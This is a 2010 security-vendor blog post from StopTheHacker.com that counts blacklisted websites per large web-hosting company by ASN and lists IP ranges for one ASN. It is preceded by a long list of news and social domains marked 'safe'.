digg  reporter.blogs.com safe
digg  burbia.com safe
digg  incredibleworld.net safe
digg  examiner.com safe
digg  news.discovery.com safe
digg  tv.gawker.com safe
digg  9news.com safe
digg  demint.senate.gov safe
digg  timesonline.co.uk safe
digg  nasa.gov safe
digg  ananova.com safe
digg  treehugger.com safe
digg  chicagonow.com safe
digg  bridepop.com safe
digg  sfweekly.com safe
digg  imgur.com safe
digg  eff.org safe
digg  soundandvisionmag.com safe
digg  myfoxphilly.com safe
digg  women.timesonline.co.uk safe
digg  usatoday.com safe
digg  cbs3.com safe
digg  good.is safe
digg  universetoday.com safe
digg  theherooftime.com safe
digg  popcrunch.com safe
digg  salon.com safe
digg  ngonlinenews.com safe
digg  latimes.com safe
digg  cbc.ca safe
digg  news.com.au safe
digg  thenextweb.com safe
digg  gossipgamers.com safe
digg  smh.com.au safe
digg  billabong.com.au safe
digg  fifa.com safe
digg  buzzfeed.com safe
digg  funnyordie.com safe
digg  unrealitymag.com safe
digg  thechive.com safe
digg  discovermagazine.com safe
digg  members.optusnet.com.au safe
digg  environmentalgraffiti.com safe
digg  photography.nationalgeographic… safe
digg  news.vgchartz.com safe
digg  swtorstrategies.com safe
digg  cognac.com safe
digg  technology.canoe.ca safe
digg  radioexile.com safe
digg  personaldividends.com safe
digg  tv.ign.com safe
digg  resumeplay.net safe
digg  webecoist.com safe
digg  all-thats-interesting.tumblr.c… safe
digg  articles.dailypress.com safe
digg  blogs.westword.com safe
digg  gearlog.com safe
digg  ph.news.yahoo.com safe
digg  dailymotion.com safe
digg  video.yahoo.com safe
digg  murraythenut.com safe
digg  politicususa.com safe
digg  blog.newsweek.com safe
digg  hookedonhouses.net safe
digg  skynews.com.au safe
digg  articles.moneycentral.msn.com safe
digg  steelheadstudio.com safe
digg  independent.co.uk safe
digg  espn.go.com safe
digg  nextgenpe.com safe
digg  cnngo.com safe
digg  escapistmagazine.com safe
digg  xkcd.com safe
digg  orlandosentinel.com safe
digg  msn.foxsports.com safe
digg  green.autoblog.com safe
digg  forums.superherohype.com safe
digg  nation.com.pk safe
digg  krebsonsecurity.com safe
digg  chicagobreakingnews.com safe
digg  rogerebert.suntimes.com safe
digg  12.media.tumblr.com safe
digg  sportingnews.com safe
digg  networkworld.com safe
digg  24ways.org safe
digg  macrumors.com safe
digg  biofriendly.com safe
digg  justnews.com safe
digg  divinecaroline.com safe
digg  news.yahoo.com safe
digg  articles.baltimoresun.com safe
digg  computerworlduk.com safe
digg  heartlessdoll.com safe
digg  ireport.com safe
digg  adn.com safe
digg  nola.com safe
digg  foxnews.com safe
digg  sojones.com safe
digg  cbronline.com safe
digg  static.gamesradar.com safe
digg  gothamist.com safe
digg  hellforge.gameriot.com safe
digg  cjtf7.army.mil safe
digg  graphjam.com safe
digg  wow.com safe
digg  dailykos.com safe
digg  kdvr.com safe
digg  graphicalerts.com safe
digg  wtnh.com safe
digg  mania.com safe
digg  peachygreen.com safe
digg  gallup.com safe
digg  i.imgur.com safe
digg  cardinals.fandome.com safe
digg  washingtonpost.com safe
digg  w3.org safe
digg  weirdasianews.com safe
digg  planetoddity.com safe
digg  uniquescoop.com safe
digg  lafiga.firedoglake.com safe
digg  detnews.com safe
digg  blogs.catster.com safe
digg  hotlineoncall.nationaljournal.… safe
digg  videocafe.crooksandliars.com safe
digg  news.health.com safe
digg  readwriteweb.com safe
digg  ft.com safe
digg  mirror.co.uk safe
digg  techcrunch.com safe
digg  newscenter.lbl.gov safe
digg  wpxi.com safe
digg  cnsnews.com safe
digg  bighollywood.breitbart.com safe
digg  ifixit.com safe
digg  en.expreview.com safe
digg  greenopolis.com safe
digg  lh5.ggpht.com safe
digg  motherjones.com safe
digg  img.photobucket.com safe
digg  failblog.org safe
digg  gamingbolt.com safe
digg  massively.com safe
digg  amog.com safe
digg  torrentfreak.com safe
digg  gadling.com safe
digg  about.digg.com safe
digg  tpmlivewire.talkingpointsmemo.… safe
digg  newsroom.redcross.org safe
digg  trutv.com safe
digg  oregoncatalyst.com safe
digg  online.wsj.com safe
digg  somethingawful.com safe
digg  de.acidcow.com safe
digg  abc15.com safe
digg  bannedinhollywood.com safe
digg  moviesblog.mtv.com safe
digg  mmafighting.com safe
digg  toplessrobot.com safe
digg  thejoshuablogs.blogspot.com safe
digg  nflmocks.com safe
digg  metalinjection.net safe
digg  blogs.telegraph.co.uk safe
digg  health.howstuffworks.com safe
digg  globalpost.com safe
digg  laweekly.com safe
digg  facebook.com safe
digg  motherboard.tv safe
digg  ashersarlin.com safe
digg  blogs.ocweekly.com safe
digg  baltimoresun.com safe
digg  nin.com safe
digg  mercurynews.com safe
digg  news.cnet.com safe
digg  exclaim.ca safe
digg  rideamoto.com safe
digg  americanphotomag.com safe
digg  ecofriend.org safe
digg  punchbaby.com safe
digg  KRAPPS.com safe
digg  mlive.com safe
digg  villagevoice.com safe
digg  freemariogames.org safe
digg  thedailyfix.com safe
digg  nme.com safe
digg  chartsbin.com safe
digg  articles.courant.com safe
digg  ncaabasketball.fanhouse.com safe
digg  trueslant.com safe
digg  bucks.blogs.nytimes.com safe
digg  dailypress.com safe
digg  articles.sfgate.com safe
digg  chinadaily.com.cn safe
digg  toruniverse.com safe
digg  mnn.com safe
digg  csoonline.com safe
digg  djmick.co.uk safe
digg  thegreatgeekmanual.com safe
yahoobuzz  www.npr.org safe
yahoobuzz  omg.yahoo.com safe
yahoobuzz  shine.yahoo.com safe
yahoobuzz  mlbtribune.com safe
yahoobuzz  movies.yahoo.com safe
yahoobuzz  tech.yahoo.com safe
yahoobuzz  www.nbcwashington.com safe
yahoobuzz  www.sodahead.com safe
yahoobuzz  www.politico.com safe
yahoobuzz  content.usatoday.com safe
yahoobuzz  online.wsj.com safe
yahoobuzz  www.dailyherald.com safe
yahoobuzz  www.nbcsandiego.com safe
yahoobuzz  sports.yahoo.com safe
yahoobuzz  www.csmonitor.com safe
yahoobuzz  awards.omg.yahoo.com safe
yahoobuzz  www.thecypresstimes.com safe
yahoobuzz  www.nytimes.com safe
yahoobuzz  www.usatoday.com safe
yahoobuzz  www.boston.com safe
yahoobuzz  www.nbcbayarea.com safe
yahoobuzz  www.washingtontimes.com safe
yahoobuzz  www.livescience.com safe
yahoobuzz  www.upi.com safe
yahoobuzz  www.tvguide.com safe
yahoobuzz  collegefootball.rivals.com safe
yahoobuzz  videogames.yahoo.com safe
yahoobuzz  ellen.warnerbros.com safe
yahoobuzz  rivals.yahoo.com safe
yahoobuzz  new.music.yahoo.com safe
yahoobuzz  www.huffingtonpost.com safe
yahoobuzz  www.thewrap.com safe
yahoobuzz  www.washingtonpost.com safe
yahoobuzz  www.bostonherald.com safe
yahoobuzz  www.techcrunch.com safe
yahoobuzz  www.nydailynews.com safe
yahoobuzz  www.nbcnewyork.com safe
yahoobuzz  extratv.warnerbros.com safe
yahoobuzz  mediadecoder.blogs.nytimes.com safe
yahoobuzz  photos.momlogic.com safe
yahoobuzz  buzz.yahoo.com safe
yahoobuzz  www.limelife.com safe
yahoobuzz  finance.yahoo.com safe
yahoobuzz  www.telegraph.co.uk safe
yahoobuzz  www.newsweek.com safe
yahoobuzz  www.momlogic.com safe
yahoobuzz  www.pittsburghlive.com safe
yahoobuzz  www.cricket-tournaments.com safe
yahoobuzz  trueslant.com safe
yahoobuzz  www.australianopen4u.com safe
yahoobuzz  www.irishcentral.com safe
yahoobuzz  biz.yahoo.com safe
yahoobuzz  texastech.rivals.com safe
yahoobuzz  news.yahoo.com safe
yahoobuzz  blogs.usatoday.com safe
yahoobuzz  elitesportsandfitness.com safe

Large Webhosts: How Serious About Security Are They?

anirban — Tue, 19 Jan 2010 23:40:10 +0000

Some of the largest web hosting companies in the United States and abroad host more than 500,000 websites individually. These web-hosting companies focus on providing a cost-effective solution for clients to develop and maintain their Internet-facing websites. To protect these websites, these web-hosting companies often use Web-Application-Filters (WAFs) and more traditional firewall-type devices along with password protected (S)FTP access.

Anyone delving into Web-Application Security issues would realize that simply throwing up a bunch of WAFs to deal with code-injection attacks is not the greatest solution. Code injection attacks are constantly evolving because they provide hackers with a great medium with which to deliver malicious code to unsuspecting Internet surfers. It is not because of the lack of effort on part of WAF developers that code injection attacks are not being nipped in the bud, instead it is because this attack vector presents such an attractive medium for hackers to further their nefarious intentions, with comparatively less effort than other more involved hacking techniques.

Bottom line, code injection attacks and signatures are constantly changing. WAFs used by many hosting companies cannot guarantee full protection against them.

Two big reasons it is difficult to protect websites:

You can only protect against what you know about
WAFs are not self-learning and self-tuning

At StopTheHacker.com, our approach is to develop systems based on Artificial Intelligence techniques which can learn from attacks and adapt using machine learning to block and identify previously unknown code-injection incidents.

In this article we try to identify how many sites from each of the top few web-hosting companies are currently blacklisted. This gives us an indication of the kind of security being employed and the effectiveness of the systems.

This test was conducted on January 19, 2010. The AS data was mined from CAIDA and was correlated with Google Safe Browsing data.

Number of sites blacklisted by hosting company:

Hosting Company Name           ASN  Sites Blacklisted

IX WebHosting                32392               4160
GoDaddy                      26496              12648
DreamHost                    26347               5636
GigeNet                      32181                647
Peer 1                       11388               2332
Lunar Pages                  15244               3754
iWeb                         32613               2161
ThePlanet/HostGator          21844              11347
Bluehost/Hostmonster         11798               6232
LiquidWeb                    32244               3113
Leaseweb                     16265               2393
Schlund (1&1)                 8560               9105
Tele2 Telecommunication GmbH  8437               8229
China Telecom                 4812               4919
Inetwork/iEurop              29629               3197
NetworkSolutions              6245                739
RackSpace                    33070                698

Clearly, whatever security mechanism are being employed by these hosting companies, they are not enough to stop hordes of their websites falling prey to code-injection attacks and other forms of malicious attacks. Perhaps owners of these large numbers of compromised websites will force web-hosting companies to take a more proactive approach to safe hosting for their clients.

Interestingly, a web-hosting company which focuses on a secure hosting experience maps to ASN 7819, which seems to host 26 malicious sites.

EDIT: On Jan 20 2010, 7:05 AM PST, we received feedback from the webhosting company which focuses on a secure webhosting experience, that the IP ranges mentioned (below) in this article are not used by them to host websites, but are simply the ones that belong to the datacenter they employ. We will be very interested in re-evaluating IP ranges that are used by them to present websites on the Internet.

List of IP addresses associated with ASN 7819 is below:

38.114.116.0/22
66.128.48.0/20
66.128.48.0/21
66.128.48.0/24
66.128.49.0/24
66.128.50.0/24
66.128.51.0/24
66.128.52.0/24
66.128.53.0/24
66.128.56.0/21
66.128.56.0/23
66.128.58.0/24
66.128.59.0/24
66.128.60.0/22
66.128.60.0/24
66.128.61.0/24
67.210.224.0/20
67.210.224.0/24
67.210.225.0/24
67.210.226.0/24
67.210.227.0/24
67.210.230.0/24
67.210.232.0/24
67.210.235.0/24
67.210.238.0/23
67.210.238.0/24
67.210.239.0/24
67.210.240.0/22
67.210.240.0/24
67.210.244.0/24
67.210.245.0/24
67.210.246.0/24
67.210.247.0/24
69.26.161.0/24
69.26.163.0/24
69.39.240.0/20
208.80.16.0/24
208.80.17.0/24
208.80.18.0/24